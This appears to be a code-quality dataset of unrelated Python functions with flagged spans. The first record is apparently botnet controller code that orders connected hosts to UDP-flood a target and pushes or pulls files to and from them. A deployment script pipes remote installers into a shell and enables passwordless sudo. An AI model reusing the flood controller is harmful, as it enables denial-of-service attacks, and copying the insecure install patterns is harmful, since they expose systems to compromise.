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[ { "content": "def send_comm(command, cur_host_con):\n encode = bytearray(command)\n for i in range(len(encode)):\n encode[i] ^=0x41\n try:\n cur_host_con.send(encode)\n return 0\n except:\n return 1", "metadata": "root.send_comm", "header": "['module', '___EOS___']", "index": 13 }, { "content": "def UDP_Flood(target,cur_host_con,cur_host_id,handler):\n target_IP = target[0]\n target_Port = target[1]\n try:\n msg = target[2]\n except:\n msg = \"Hi\"\n flood_command = 'udpFlood'\n res = send_comm(flood_command,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n sleep(0.1)\n res = send_comm((target_IP+\":\"+str(target_Port)),cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n sleep(0.1)\n res = send_comm(msg,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n sleep(0.1)\n return 0", "metadata": "root.UDP_Flood", "header": "['module', '___EOS___']", "index": 30 }, { "content": "def Make_File(nameSet,cur_host_con,cur_host_id,handler):\n fileToRead = nameSet[0]\n try:\n remoteFileName = nameSet[1]\n except:\n remoteFileName = fileToRead\n if remoteFileName == '':\n remoteFileName = fileToRead\n res = send_comm('getFile',cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(remoteFileName,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(1024,cur_host_con)\n if decode == \"fna\":\n return 2\n else:\n try:\n fileToRead = open(fileToRead,'r')\n except:\n return 3\n command = fileToRead.read()\n fileToRead.close()\n fSize = sys.getsizeof(command)\n fSize = str(fSize)\n res = send_comm(fSize, cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(command,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(1024,cur_host_con)\n return 0", "metadata": "root.Make_File", "header": "['module', '___EOS___']", "index": 55 }, { "content": "def Make_Binary(nameSet, cur_host_con, cur_host_id,handler):\n binToRead = nameSet[0]\n try:\n remoteBinName = nameSet[1]\n except:\n remoteBinName = binToRead\n if remoteBinName == '':\n remoteBinName = binToRead\n res = send_comm('getBinary',cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(remoteBinName,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(1024,cur_host_con)\n if decode == \"fna\":\n return 2\n else:\n try:\n binToRead = open(binToRead,'rb')\n except:\n return 3\n command = binToRead.read()\n binToRead.close()\n bSize = sys.getsizeof(command)\n bSize = str(bSize)\n res = send_comm(bSize,cur_host_con)\n sleep(0.1)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(command,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(3072,cur_host_con)\n return 0", "metadata": "root.Make_Binary", "header": "['module', '___EOS___']", "index": 94 }, { "content": "def Pull_File(nameSet, cur_host_con, cur_host_id, handler):\n remoteFileName = nameSet[0]\n try:\n localFileName = nameSet[1]\n except:\n localFileName = remoteFileName\n if localFileName == '':\n localFileName = remoteFileName\n res = send_comm('sendFile',cur_host_con)\n if res == 1:\n print (\"Connection closed by client\")\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(remoteFileName,cur_host_con)\n if res == 1:\n print (\"Connection closed by client\")\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(1024,cur_host_con)\n if decode == 'fna':\n print (\"File does not exist or Access Denied\")\n return 2\n else:\n try:\n localFileName = command[2]\n except:\n localFileName = command[1]\n try:\n localFile = open(localFileName,'w')\n except:\n print (\"Cannot create local file\")\n return 2\n decode = recv_comm(1024,cur_host_con)\n decode = recv_comm(int(decode),cur_host_con)\n localFile.write(decode)\n localFile.close()\n return 0", "metadata": "root.Pull_File", "header": "['module', '___EOS___']", "index": 134 }, { "content": "def Pull_Binary(nameSet, cur_host_con, cur_host_id, handler):\n remoteBinName = nameSet[0]\n try:\n localBinName = nameSet[1]\n except:\n localBinName = remoteBinName\n if localBinName == '':\n localBinName = remoteBinName\n try:\n remoteBinName = command[1]\n except:\n print (\"Remote binary name not provided\")\n return 2\n res = send_comm('sendBinary',cur_host_con)\n if res == 1:\n print (\"Connection closed by client\")\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(remoteBinName,cur_host_con)\n if res == 1:\n print (\"Connection closed by client\")\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(1024,cur_host_con)\n if decode == 'fna':\n print (\"File does not exist or Access Denied\")\n return 2\n else:\n try:\n localBinName = command[2]\n except:\n localBinName = command[1]\n try:\n localBin = open(localBinName,'wb')\n except:\n print (\"Cannot create local file\")\n return 2\n decode = recv_comm(1024,cur_host_con)\n decode = recv_comm(int(decode),cur_host_con)\n localBin.write(decode)\n localBin.close()\n return 0", "metadata": "root.Pull_Binary", "header": "['module', '___EOS___']", "index": 172 } ]

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[ { "content": "def get_handler_module(module):\n if not module:\n return MarkupHandler\n \n mod, f, i, fn = None, None, None, None\n msplit = module.split(\".\")\n if len(msplit) == 1:\n mod = msplit[0]\n else:\n f = msplit[:-1]\n i = msplit[-1:]\n fn = \".\".join(f)\n \n if mod:\n try:\n return __import__(mod)\n except ImportError:\n return MarkupHandler\n else:\n try:\n mod = __import__(fn, fromlist=f)\n return getattr(mod, i[0])\n except:\n return MarkupHandler", "metadata": "root.get_handler_module", "header": "['module', '___EOS___']", "index": 59 } ]

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[ { "content": " def run_autoencoder(\n self,\n n_train_iter=10000, # -- make this small to be a good unit test\n rf_shape=(9, 9),\n n_filters=1024,\n dtype='float32',\n module_stride=2,\n lr=0.01,\n show_filters=True,\n ):\n if show_filters:\n # import here to fail right away\n import matplotlib.pyplot as plt\n\n try:\n import skdata.vanhateren.dataset\n except ImportError:\n raise nose.SkipTest()\n\n # 1. Get a set of image patches from the van Hateren data set\n print('Loading van Hateren images')\n n_images = 50\n vh = skdata.vanhateren.dataset.Calibrated(n_images)\n patches = vh.raw_patches((self.n_patches,) + self.imshp,\n items=vh.meta[:n_images],\n rng=np.random.RandomState(123),\n )\n patches = patches.astype('float32')\n patches /= patches.reshape(self.n_patches, self.imshp[0] * self.imshp[1])\\\n .max(axis=1)[:, None, None]\n # TODO: better local contrast normalization\n\n if 0 and show_filters:\n plt.subplot(2, 2, 1); plt.imshow(patches[0], cmap='gray')\n plt.subplot(2, 2, 2); plt.imshow(patches[1], cmap='gray')\n plt.subplot(2, 2, 3); plt.imshow(patches[2], cmap='gray')\n plt.subplot(2, 2, 4); plt.imshow(patches[3], cmap='gray')\n plt.show()\n\n # -- Convert patches to localdot format:\n # groups x colors x rows x cols x images\n patches5 = patches[:, :, :, None, None].transpose(3, 4, 1, 2, 0)\n print('Patches shape', patches.shape, self.n_patches, patches5.shape)\n\n # 2. Set up an autoencoder\n print('Setting up autoencoder')\n hid = theano.tensor.tanh(self.A.rmul(self.xl))\n out = self.A.rmul_T(hid)\n cost = ((out - self.xl) ** 2).sum()\n params = self.A.params()\n gparams = theano.tensor.grad(cost, params)\n train_updates = [(p, p - lr / self.bsize * gp)\n for (p, gp) in zip(params, gparams)]\n if 1:\n train_fn = theano.function([], [cost], updates=train_updates)\n else:\n train_fn = theano.function([], [], updates=train_updates)\n\n theano.printing.debugprint(train_fn)\n\n # 3. Train it\n params[0].set_value(0.001 * params[0].get_value())\n for ii in xrange(0, self.n_patches, self.bsize):\n self.xl.set_value(patches5[:, :, :, :, ii:ii + self.bsize], borrow=True)\n cost_ii, = train_fn()\n print('Cost', ii, cost_ii)\n\n if 0 and show_filters:\n self.A.imshow_gray()\n plt.show()\n\n assert cost_ii < 0 # TODO: determine a threshold for detecting regression bugs", "metadata": "root.TestLocalDotLargeGray.run_autoencoder", "header": "['class', 'TestLocalDotLargeGray', '(', 'TestLocalDot32x32', ')', ':', '___EOS___']", "index": 72 } ]

[ { "span": "plt.subplot(2, 2, 1);", "start_line": 105, "start_column": 12, "end_line": 105, "end_column": 32 }, { "span": "train_fn = theano.function([], [], updates=train_updates)", "start_line": 128, "start_column": 12, "end_line": 128, "end_column": 69 }, { "span": "self.A.imshow_gray()", "start_line": 140, "start_column": 12, "end_line": 140, "end_column": 32 } ]

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[ { "content": "def teardown():\n for fname in ['workspace1.html']:\n try:\n os.remove(fname)\n except:\n pass", "metadata": "root.teardown", "header": "['module', '___EOS___']", "index": 11 } ]

[ { "span": "except:", "start_line": 15, "start_column": 8, "end_line": 15, "end_column": 15 } ]

[]

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[ { "content": "import time\nimport urllib2\n\nfrom fabric.api import env, run, sudo\nfrom fabric.colors import blue, cyan, green, magenta, red, white, yellow # noqa\nfrom fabric.context_managers import cd, settings as fabric_settings\nfrom fabric.contrib.files import append, contains, sed, uncomment\nfrom fabric.utils import abort\n\nimport settings\n\n\nDISTRO = \"ARCH_20139\"\nSALT_INSTALLERS = [\"aur\", \"aur-git\", \"bootstrap\"]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def validate_configurator_version():\n \"\"\"\n Arch is a rolling release distro, therefore it is important to ensure\n the configurator version is current.\n \"\"\"\n if settings.CONFIGURATOR_MODULE == \"bootmachine.contrib.configurators.salt\":\n pkgver = settings.SALT_AUR_PKGVER\n pkgrel = settings.SALT_AUR_PKGREL\n response = urllib2.urlopen(\"https://aur.archlinux.org/packages/sa/salt/PKGBUILD\")\n for line in response:\n if line.startswith(\"pkgver=\") and not pkgver in line:\n abort(\"The requested Salt 'pkgrel={0}' in the AUR was updated to '{1}'.\".format(\n pkgver, line.strip()))\n if line.startswith(\"pkgrel=\") and not pkgrel in line:\n abort(\"The requested Salt 'pkgrel={0}' in the AUR was updated to '{1}'.\".format(\n pkgrel, line.strip()))", "metadata": "root.validate_configurator_version", "header": "['module', '___EOS___']", "index": 16 }, { "content": "def bootstrap():\n \"\"\"\n Bootstrap Arch Linux.\n\n Only the bare essentials, the configurator will take care of the rest.\n \"\"\"\n validate_configurator_version()\n\n # upgrade pacakges\n run(\"pacman --noconfirm -Syu\")\n\n # install essential packages\n run(\"pacman --noconfirm -S base-devel\")\n run(\"pacman --noconfirm -S curl git rsync\")\n\n # create a user, named 'aur', to safely install AUR packages under fakeroot\n # uid and gid values auto increment from 1000\n # to prevent conficts set the 'aur' user's gid and uid to 902\n run(\"groupadd -g 902 aur && useradd -m -u 902 -g 902 -G wheel aur\")\n\n # allow users in the wheel group to sudo without a password\n # so that the aur user can be scripted to install yaourt\n uncomment(\"/etc/sudoers\", \"wheel.*NOPASSWD\")\n\n # install yaourt\n sudo(\"rm -rf /home/aur/.builds && mkdir /home/aur/.builds/\", user=\"aur\")\n with cd(\"/home/aur/.builds/\"):\n sudo(\"bash <(curl aur.sh) -si --noconfirm package-query yaourt\", user=\"aur\")\n\n # set locale and server timezone\n run(\"localectl set-locale LANG='en_US.utf8'\")\n run(\"timedatectl set-timezone US/Central\")\n\n # reboot for kernel upgrade\n print(yellow(\"rebooting.\"))\n sudo(\"reboot\")\n while True:\n time.sleep(1)\n run(\"date\")\n print(green(\"rebooted!\"))", "metadata": "root.bootstrap", "header": "['module', '___EOS___']", "index": 34 }, { "content": "def install_salt(installer=\"aur\"):\n \"\"\"\n Install salt with the chosen installer.\n \"\"\"\n append(\"/etc/hosts\",\n \"{0} saltmaster-private\".format(env.master_server.private_ip))\n with cd(\"/home/aur/\"):\n if installer == \"aur\":\n validate_configurator_version()\n sudo(\"yaourt --noconfirm -S salt\", user=\"aur\")\n elif installer == \"aur-git\":\n sudo(\"yaourt --noconfirm -S salt-git\", user=\"aur\")\n elif installer == \"bootstrap\":\n sudo(\"curl -L http://bootstrap.saltstack.org | sudo sh -s -- git v0.17.5\")\n sudo(\"cp /usr/lib/systemd/system/salt-minion.service /usr/lib/systemd/system/salt-master.service\")\n sed(\"/usr/lib/systemd/system/salt-master.service\", \"Minion\", \"Master\")\n sed(\"/usr/lib/systemd/system/salt-master.service\", \"minion\", \"master\")\n else:\n raise NotImplementedError()", "metadata": "root.install_salt", "header": "['module', '___EOS___']", "index": 76 }, { "content": "def setup_salt():\n \"\"\"\n Setup the salt configuration files and enable dameon on a reboot.\n See: http://salt.readthedocs.org/en/latest/topics/installation/arch.html\n \"\"\"\n server = [s for s in env.bootmachine_servers if s.public_ip == env.host][0]\n\n if env.host == env.master_server.public_ip:\n run(\"touch /etc/salt/master\")\n append(\"/etc/salt/master\", \"file_roots:\\n base:\\n - {0}\".format(\n settings.REMOTE_STATES_DIR))\n append(\"/etc/salt/master\", \"pillar_roots:\\n base:\\n - {0}\".format(\n settings.REMOTE_PILLARS_DIR))\n run(\"systemctl enable salt-master\")\n run(\"touch /etc/salt/minion\")\n append(\"/etc/salt/minion\", \"master: {0}\".format(env.master_server.private_ip))\n append(\"/etc/salt/minion\", \"id: {0}\".format(server.name))\n append(\"/etc/salt/minion\", \"grains:\\n roles:\")\n for role in server.roles:\n append(\"/etc/salt/minion\", \" - {0}\".format(role))\n run(\"systemctl enable salt-minion\")", "metadata": "root.setup_salt", "header": "['module', '___EOS___']", "index": 97 }, { "content": "def start_salt():\n \"\"\"\n Starts salt master and minions.\n \"\"\"\n with fabric_settings(warn_only=True):\n if env.host == env.master_server.public_ip:\n sudo(\"systemctl start salt-master\")\n time.sleep(3)\n sudo(\"systemctl start salt-minion\")", "metadata": "root.start_salt", "header": "['module', '___EOS___']", "index": 120 }, { "content": "def stop_salt():\n \"\"\"\n Stops salt master and minions.\n \"\"\"\n with fabric_settings(warn_only=True):\n if env.host == env.master_server.public_ip:\n sudo(\"systemctl stop salt-master\")\n sudo(\"systemctl stop salt-minion\")", "metadata": "root.stop_salt", "header": "['module', '___EOS___']", "index": 131 }, { "content": "def restart_salt():\n \"\"\"\n Restart salt master and the minions.\n \"\"\"\n stop_salt()\n start_salt()", "metadata": "root.restart_salt", "header": "['module', '___EOS___']", "index": 141 } ]

[ { "span": "from fabric.contrib.files import append, contains, sed, uncomment", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 65 } ]

[]

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"settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DIST", "RO", "_", "=_", "\"", "ARCH", "\\u", "2013", "9", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SAL", "T", "\\u", "INSTALLE", "RS_", "=_", "[_", "\"", "aur", "\"_", ",_", "\"", "aur", "-", "git", "\"_", ",_", "\"", "boots", "trap", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 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[ { "content": " def test_case1(self):\n from django.contrib.auth.models import User\n from openflow.optin_manager.opts.models import UserFlowSpace,Experiment, ExperimentFLowSpace\n\n # create a second experiemnt \n username = \"user\"\n password = \"password\"\n u = User.objects.create(username=username, is_active=True)\n u.set_password(password)\n u.save()\n self.user_ip_src_s = random.randint(0,0x80000000) & 0xFFFF0000\n self.user_ip_src_e = random.randint(0x80000000,0xFFFFFFFF) & 0xFFFF0000\n #assign flowspace to user\n adm = User.objects.get(username=\"admin\")\n ufs = UserFlowSpace(user=u, ip_src_s=self.user_ip_src_s,\n ip_src_e=self.user_ip_src_e,approver=adm)\n ufs.save()\n \n Experiment.objects.all().delete()\n ExperimentFLowSpace.objects.all().delete()\n \n exp = Experiment.objects.create(slice_id=\"first_id\", project_name=\"first_project\",\n project_desc=\"project description\", slice_name=\"first slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:01\",\n ip_src_s=0x05866000, \n ip_src_e=0xa0000000, \n ) \n \n exp = Experiment.objects.create(slice_id=\"second_id\", project_name=\"second_project\",\n project_desc=\"project description\", slice_name=\"second slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:02\",\n ip_src_s=0x00123456, \n ip_src_e=0x90123456, \n ) \n \n exp = Experiment.objects.create(slice_id=\"third_id\", project_name=\"third_project\",\n project_desc=\"project description\", slice_name=\"third slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:03\",\n ip_src_s=0x00333456, \n ip_src_e=0x95123456, \n ) ", "metadata": "root.ManualTests.test_case1", "header": "['class', 'ManualTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 90 }, { "content": " def test_case2(self):\n from django.contrib.auth.models import User\n from openflow.optin_manager.opts.models import UserFlowSpace,Experiment, ExperimentFLowSpace\n\n # create a second experiemnt \n username = \"user\"\n password = \"password\"\n u = User.objects.create(username=username, is_active=True)\n u.set_password(password)\n u.save()\n\n adm = User.objects.get(username=\"admin\")\n\n # create a second experiemnt \n username = \"user2\"\n password = \"password\"\n u = User.objects.create(username=username, is_active=True)\n u.set_password(password)\n u.save()\n\n \n Experiment.objects.all().delete()\n ExperimentFLowSpace.objects.all().delete()\n \n exp = Experiment.objects.create(slice_id=\"first_id\", project_name=\"first_project\",\n project_desc=\"project description\", slice_name=\"first slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:01\",\n ip_src_s=0x05866000, \n ip_src_e=0xa0000000, \n ) \n \n exp = Experiment.objects.create(slice_id=\"second_id\", project_name=\"second_project\",\n project_desc=\"project description\", slice_name=\"second slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:02\",\n ip_src_s=0x00123456, \n ip_src_e=0x90123456, \n ) \n \n exp = Experiment.objects.create(slice_id=\"third_id\", project_name=\"third_project\",\n project_desc=\"project description\", slice_name=\"third slice\",\n slice_desc=\"slice description\", controller_url=\"http://controller.com\",\n owner_email=\"owner email\", owner_password=\"owner password\") \n expfs = ExperimentFLowSpace.objects.create(exp=exp, dpid=\"00:00:00:00:00:00:03\",\n ip_src_s=0x00333456, \n ip_src_e=0x95123456, \n ) ", "metadata": "root.ManualTests.test_case2", "header": "['class', 'ManualTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 139 } ]

[ { "span": "expfs ", "start_line": 133, "start_column": 8, "end_line": 133, "end_column": 13 }, { "span": "adm ", "start_line": 150, "start_column": 8, "end_line": 150, "end_column": 11 }, { "span": "expfs ", "start_line": 185, "start_column": 8, "end_line": 185, "end_column": 13 } ]

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[ { "content": " def run_one(self,\n host_id=None,\n reserve_timeout=None,\n erase_created_workdir=False,\n ):\n if host_id == None:\n host_id = '%s:%i'%(socket.gethostname(), os.getpid()),\n job = None\n start_time = time.time()\n mj = self.mj\n while job is None:\n if (reserve_timeout\n and (time.time() - start_time) > reserve_timeout):\n raise ReserveTimeout()\n job = mj.reserve(host_id, exp_key=self.exp_key)\n if not job:\n interval = (1 +\n numpy.random.rand()\n * (float(self.poll_interval) - 1.0))\n logger.info('no job found, sleeping for %.1fs' % interval)\n time.sleep(interval)\n\n logger.debug('job found: %s' % str(job))\n\n # -- don't let the cmd mess up our trial object\n spec = spec_from_misc(job['misc'])\n\n ctrl = MongoCtrl(\n trials=MongoTrials(mj, exp_key=job['exp_key'], refresh=False),\n read_only=False,\n current_trial=job)\n if self.workdir is None:\n workdir = job['misc'].get('workdir', os.getcwd())\n if workdir is None:\n workdir = ''\n workdir = os.path.join(workdir, str(job['_id']))\n else:\n workdir = self.workdir\n workdir = os.path.abspath(os.path.expanduser(workdir))\n try:\n root_logger = logging.getLogger()\n if self.logfilename:\n self.make_log_handler()\n root_logger.addHandler(self.log_handler)\n\n cmd = job['misc']['cmd']\n cmd_protocol = cmd[0]\n try:\n if cmd_protocol == 'cpickled fn':\n worker_fn = cPickle.loads(cmd[1])\n elif cmd_protocol == 'call evaluate':\n bandit = cPickle.loads(cmd[1])\n worker_fn = bandit.evaluate\n elif cmd_protocol == 'token_load':\n cmd_toks = cmd[1].split('.')\n cmd_module = '.'.join(cmd_toks[:-1])\n worker_fn = exec_import(cmd_module, cmd[1])\n elif cmd_protocol == 'bandit_json evaluate':\n bandit = json_call(cmd[1])\n worker_fn = bandit.evaluate\n elif cmd_protocol == 'driver_attachment':\n #name = 'driver_attachment_%s' % job['exp_key']\n blob = ctrl.trials.attachments[cmd[1]]\n bandit_name, bandit_args, bandit_kwargs = cPickle.loads(blob)\n worker_fn = json_call(bandit_name,\n args=bandit_args,\n kwargs=bandit_kwargs).evaluate\n elif cmd_protocol == 'domain_attachment':\n blob = ctrl.trials.attachments[cmd[1]]\n try:\n domain = cPickle.loads(blob)\n except BaseException, e:\n logger.info('Error while unpickling. Try installing dill via \"pip install dill\" for enhanced pickling support.')\n raise\n worker_fn = domain.evaluate\n else:\n raise ValueError('Unrecognized cmd protocol', cmd_protocol)\n\n with temp_dir(workdir, erase_created_workdir), working_dir(workdir):\n result = worker_fn(spec, ctrl)\n result = SONify(result)\n except BaseException, e:\n #XXX: save exception to database, but if this fails, then\n # at least raise the original traceback properly\n logger.info('job exception: %s' % str(e))\n ctrl.checkpoint()\n mj.update(job,\n {'state': JOB_STATE_ERROR,\n 'error': (str(type(e)), str(e))})\n raise\n finally:\n if self.logfilename:\n root_logger.removeHandler(self.log_handler)\n\n logger.info('job finished: %s' % str(job['_id']))\n attachments = result.pop('attachments', {})\n for aname, aval in attachments.items():\n logger.info(\n 'mongoexp: saving attachment name=%s (%i bytes)' % (\n aname, len(aval)))\n ctrl.attachments[aname] = aval\n ctrl.checkpoint(result)\n mj.update(job, {'state': JOB_STATE_DONE})", "metadata": "root.MongoWorker.run_one", "header": "['class', 'MongoWorker', '(', 'object', ')', ':', '___EOS___']", "index": 996 } ]

[ { "span": "host_id == None:", "start_line": 1001, "start_column": 11, "end_line": 1001, "end_column": 26 } ]

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[ { "content": "\tdef __init__(self):\n\t\t#Set defaults\n\t\tself.baseServer_Port=8080\n\t\tself.baseServer_ForwardData=None\n\t\tself.baseServer_Recache=60\n\t\tself.baseServer_ForwardTimeout=8\n\t\tself.baseServer_ForwardLocation=True\n\t\t\n\t\tself.logging_File=\"vestigo_base.log\"\n\t\tself.logging_MaxSize=1024*1024 # 1MB\n\t\tself.logging_FileCount=5\n\t\tself.logging_UseLog=False\n\t\tself.logging_STDOUT=True\n\t\t\n\t\tif not os.path.isfile(\"vestigo_base.ini\"):\n\t\t\traise \"Error reading configuration file\"\n\t\t\n\t\tConfig = ConfigParser.ConfigParser()\n\t\tConfig.read(\"vestigo_base.ini\")\n\t\n\t\ttry: self.baseServer_Port=int(Config.get(\"Base Server\",\"port\"))\n\t\texcept: pass\n\t\ttry: self.baseServer_ForwardData=Config.get(\"Base Server\",\"forwarddata\") \n\t\texcept: pass\n\t\ttry: self.baseServer_RecacheRules=int(Config.get(\"Base Server\",\"recacherules\"))\n\t\texcept: pass\n\t\ttry: self.baseServer_ForwardTimeout=int(Config.get(\"Base Server\",\"forwardtimeout\"))\n\t\texcept: pass\n\t\ttry: self.baseServer_ForwardLocation=Config.getboolean(\"Base Server\",\"forwardlocation\")\n\t\texcept: pass\n\t\t\n\t\n\t\ttry: self.logging_File=Config.get(\"Logging\",\"file\") \n\t\texcept: pass\n\t\ttry: self.logging_MaxSize=Config.get(\"Logging\",\"maxsize\") \n\t\texcept: pass\n\t\ttry: self.logging_FileCount=Config.get(\"Logging\",\"filecount\") \n\t\texcept: pass\n\t\ttry: self.logging_UseLog=Config.getboolean(\"Logging\",\"uselog\") \n\t\texcept: pass\n\t\ttry: self.logging_STDOUT=Config.getboolean(\"Logging\",\"stdout\") \n\t\texcept: pass", "metadata": "root.Settings.__init__", "header": "['class', 'Settings', '(', ')', ':', '___EOS___']", "index": 6 } ]

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[]

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[ { "content": "def common_confirm(request):\n message = request.REQUEST['message']\n redirect_to = request.REQUEST['redirect_to']\n\n try:\n validate.nonce(request, message + redirect_to)\n\n parts = urlparse.urlparse(redirect_to)\n action_url = parts[2]\n query_dict = cgi.parse_qs(parts[4], keep_blank_values=True)\n query_dict = dict([(k, v[0]) for k, v in query_dict.iteritems()])\n\n except:\n message = None\n exception.handle_exception(request)\n\n\n c = template.RequestContext(request, locals())\n t = loader.get_template('common/templates/confirm.html')\n return http.HttpResponse(t.render(c))", "metadata": "root.common_confirm", "header": "['module', '___EOS___']", "index": 31 }, { "content": "def common_error(request):\n message = request.REQUEST['error']\n\n try:\n validate.error_nonce(request, message)\n except:\n exception.handle_exception(request)\n message = \"An error has occurred\"\n\n c = template.RequestContext(request, locals())\n t = loader.get_template('common/templates/error_generic.html')\n return http.HttpResponse(t.render(c))", "metadata": "root.common_error", "header": "['module', '___EOS___']", "index": 73 }, { "content": "def common_photo_upload(request, success=\"/\", nick=None):\n if not nick:\n nick = request.user.nick\n if request.FILES:\n try:\n # we're going to handle a file upload, wee\n validate.nonce(request, 'change_photo')\n img = request.FILES.get('imgfile')\n\n if not img:\n raise exception.ValidationError('imgfile must be set')\n validate.avatar_photo_size(img)\n\n img_url = api.avatar_upload(request.user,\n nick,\n img.read())\n api.avatar_set_actor(request.user, nick, img_url)\n return util.RedirectFlash(success, \"Avatar uploaded\")\n except:\n exception.handle_exception(request)\n\n elif 'avatar' in request.POST:\n try:\n validate.nonce(request, 'change_photo')\n avatar_path = request.POST.get('avatar')\n if not avatar_path:\n raise exception.ValidationError('avatar must be set')\n\n rv = api.avatar_set_actor(request.user, nick, avatar_path)\n if not rv:\n raise exception.ValidationError('failed to set avatar')\n return util.RedirectFlash(success, \"Avatar changed\")\n except:\n exception.handle_exception(request)\n\n if 'delete' in request.REQUEST:\n try:\n validate.nonce(request, 'delete_photo')\n validate.confirm_dangerous(request, 'Delete your photo?')\n rv = api.avatar_clear_actor(request.user, nick)\n return util.RedirectFlash(success, \"Avatar deleted\")\n except:\n exception.handle_exception(request)", "metadata": "root.common_photo_upload", "header": "['module', '___EOS___']", "index": 91 }, { "content": "def call_api_from_request(request, api_call):\n \"\"\"Call an API function 'api_call' if it's present in the request parameters.\n\n The first parameter to the API call is always the logged-in user.\n\n The rest of the parameters may come in two forms:\n api_call_name=first_param& ... rest of params\n or\n api_call_name=& ... rest of params\n\n rest_of_params is always turned into Python keyword arguments.\n\n If the api_call_name has a value, that is turned into Python positional\n params.\n RETURNS:\n (False, None) if it isn't or the call throws an exception,\n (True, return value from call) otherwise.\n \"\"\"\n # TODO(termie): make this only accept POST once we update javascript\n # to turn the links into POSTs\n for request_dict in (request.POST, request.GET):\n if api_call in request_dict:\n # debug\n logging.info(\">>> CALL: %s\", str(api_call))\n # end debug\n call = getattr(api, api_call)\n try:\n validate.nonce(request, api_call)\n confirm_msg = messages.confirmation(api_call)\n # debug\n # logging.info(\">>> MESSAGE : %s\", str(confirm_msg))\n # end debug\n \n if not confirm_msg is None:\n validate.confirm_dangerous(\n request, messages.confirmation(api_call))\n kwparams = util.query_dict_to_keywords(request_dict)\n # debug\n logging.info(\">>> KWPARAMS: %s\", str(kwparams))\n # end debug\n \n if '' in kwparams:\n del kwparams['']\n first_param = kwparams.pop(api_call, '')\n params = list()\n if len(first_param):\n params = (first_param,)\n validate.nonce(request, api_call)\n kwparams.pop('_nonce')\n kwparams.pop('confirm', None)\n kwparams.pop('redirect_to', None)\n # debug\n logging.info(\"##### CALL: %s\", str((params, kwparams)))\n # end debug\n\n return (True, call(request.user, *params, **kwparams))\n except:\n exception.handle_exception(request)\n return (False, None)", "metadata": "root.call_api_from_request", "header": "['module', '___EOS___']", "index": 136 }, { "content": "def common_design_update(request, nick):\n view = api.actor_get(api.ROOT, nick)\n if request.POST:\n try:\n validate.nonce(request, 'update_design')\n\n color = request.POST.get('bg_color')\n repeat = request.POST.get('bg_repeat', 'no-repeat')\n if not repeat:\n repeat = ''\n\n img = request.FILES.get('bg_image')\n img_url = None\n if img:\n img_url = api.background_upload(request.user,\n nick,\n img.read())\n api.background_set_actor(request.user,\n nick,\n img_url,\n color,\n repeat)\n return util.RedirectFlash(view.url() + '/settings/design',\n 'design updated')\n except:\n exception.handle_exception(request)\n\n if request.GET and 'restore' in request.GET:\n api.background_clear_actor(request.user, nick)\n return util.RedirectFlash(view.url() + '/settings/design',\n 'design updated')\n\n return None", 